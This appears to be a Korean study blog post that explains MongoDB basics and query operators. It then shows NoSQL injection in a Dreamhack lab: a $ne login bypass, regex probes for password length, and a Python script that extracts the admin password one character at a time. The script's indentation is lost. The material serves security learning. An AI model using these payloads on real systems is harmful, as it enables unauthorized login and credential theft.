NoSQL이란?
No-relational DBMS(NoSQL, NRDBMS)는 영문 그대로 관계형 데이터베이스가 아닌 데이터베이스를 의미한다
RDBMS는 테이블간의 관계를 이용하여 데이터를 저장하는 반면, NoSQL은 RDBMS와 달리 고정된 스키마 없이 유연한 방식으로 데이터를 정리할 수 있어, 간단한 작업에 매우 유용하다
대표적으로 MongoDB, Reddis, CouchDB가 있다
MongoDB
MongoDB는 JSON(Javascript 객체 표기법) 형태로 자료를 저장하며 많은 데이터를 유연하고 쉽게 저장할 수 있는 NoSQL이다.
MongoDB의 특징
- 스키마를 따로 정의하지 않아 각 컬렉션(Collection)에 대한 정의가 필요없다
- JSON 형식으로 쿼리를 작성할 수 있다
- _id 필드가 Primary Key 역할을 한다
<저장 데이터>
{
"name": "Apple",
"age": 20,
"email": "Apple@example.com"
}
{
"name": "Banana",
"phone": "010-0000-0000"
}
[{ "_id" : ObjectId("5e71d395b050a2511caa827d"), "name" : "Banana", "phone" : "010-0000-0000" }]
같은 컬렉션 내에 저장된 두 개의 문서는 각각 다른 데이터 구조를 띠고 있다. 이는 스키마를 따로 정의하지 않는 MongoDB의 특성으로 인해, 데이터 타입에 제한이 없다. 따라서 유연한 방식으로 데이터를 다룰 수 있다.
또한 JSON 형식으로 쿼리를 작성할 수 있기 때문에 호환성 및 유연함 등 JSON의 장점이 적용된다.
마지막으로 primary key인 _id로 데이터간 중복을 방지할 수 있다.
find()
데이터를 추출하는 명령어
db.people.find({})를 통해 데이터 전체를 조회할 수 있으며,
db.people.find({ name: "Apple" })와 같은 방식으로 일부를 추출할 수 있다.
추출 결과
{ "_id": ObjectId("..."), "name": "Apple", "age": 20, "email": "Apple@example.com" }
연산자
| Name | Description |
| $eq | 지정된 값과 같은 값을 찾습니다. (equal) |
| $in | 배열 안의 값들과 일치하는 값을 찾습니다. (in) |
| $ne | 지정된 값과 같지 않은 값을 찾습니다. (not equal) |
| $nin | 배열 안의 값들과 일치하지 않는 값을 찾습니다. (not in) |
| Name | Description |
| $expr | 쿼리 언어 내에서 집계 식을 사용할 수 있습니다. |
| $regex | 지정된 정규식과 일치하는 문서를 선택합니다. |
| $text | 지정된 텍스트를 검색합니다. |
| $where | JavaScript 표현식을 만족하는 문서와 일치합니다. |
NoSQL Injection
MongoDB 문법과 연산자를 조합하여 로그인을 진행할 수 있다.
(dreamhack의 실습 환경에서 진행하였음)

입력 : { "uid" : "admin" , "upw" : { "$ne" : "" }}
비밀번호의 파라미터명을 upw[$ne]로 변경하고 공백을 보내게 되면 admin의 비밀번호가 공백이 아닐 시에 로그인이 되는 로직
| 로그인 실패 | 로그인 성공 |
![]() |
![]() |
입력 : { "uid" : {"$regex" : "ad.in"} , "upw" : { "$regex" : ".{5}" }}
비밀번호의 길이를 알아내기 위해 정규식을 사용하였고, .{5}을 입력하였을 때 로그인이 성공하였지만, .{6}에서는 로그인에 실패한 것을 확인하였음. 비밀번호의 길이는 5자리인 것을 확인할 수 있다.
+ uid에 정규식 ad.in을 입력한 것은 .가 임의 문자로 표현이 되기 때문에 로그인이 가능함
Blind SQL Injection

입력 : { "uid" : "admin" , "upw" : "^a"}
{ "uid" : "admin" , "upw" : "^ap"}
{ "uid" : "admin" , "upw" : "^app"}
{ "uid" : "admin" , "upw" : "^appl"}
비밀번호를 모르는 상태에서 한 글자씩 로그인 성공 여부를 확인하며 비밀번호를 얻을 수 있다.
다만 시간이 매우 오래걸리기 때문에, 파이썬을 이용하여 요청을 보내는 방식으로 처리할 수 있다.
import requests, string
url ="url"
ALPHANUMERIC = string.digits + string.ascii_letters
flag = ""
for i in range(5):
for ch in ALPHANUMERIC:
response = requests.get(f"{url}/?uid=admin&upw[$regex]=^{flag+ch}")
if response.text == "some_response":
flag += ch
print(flag)
break

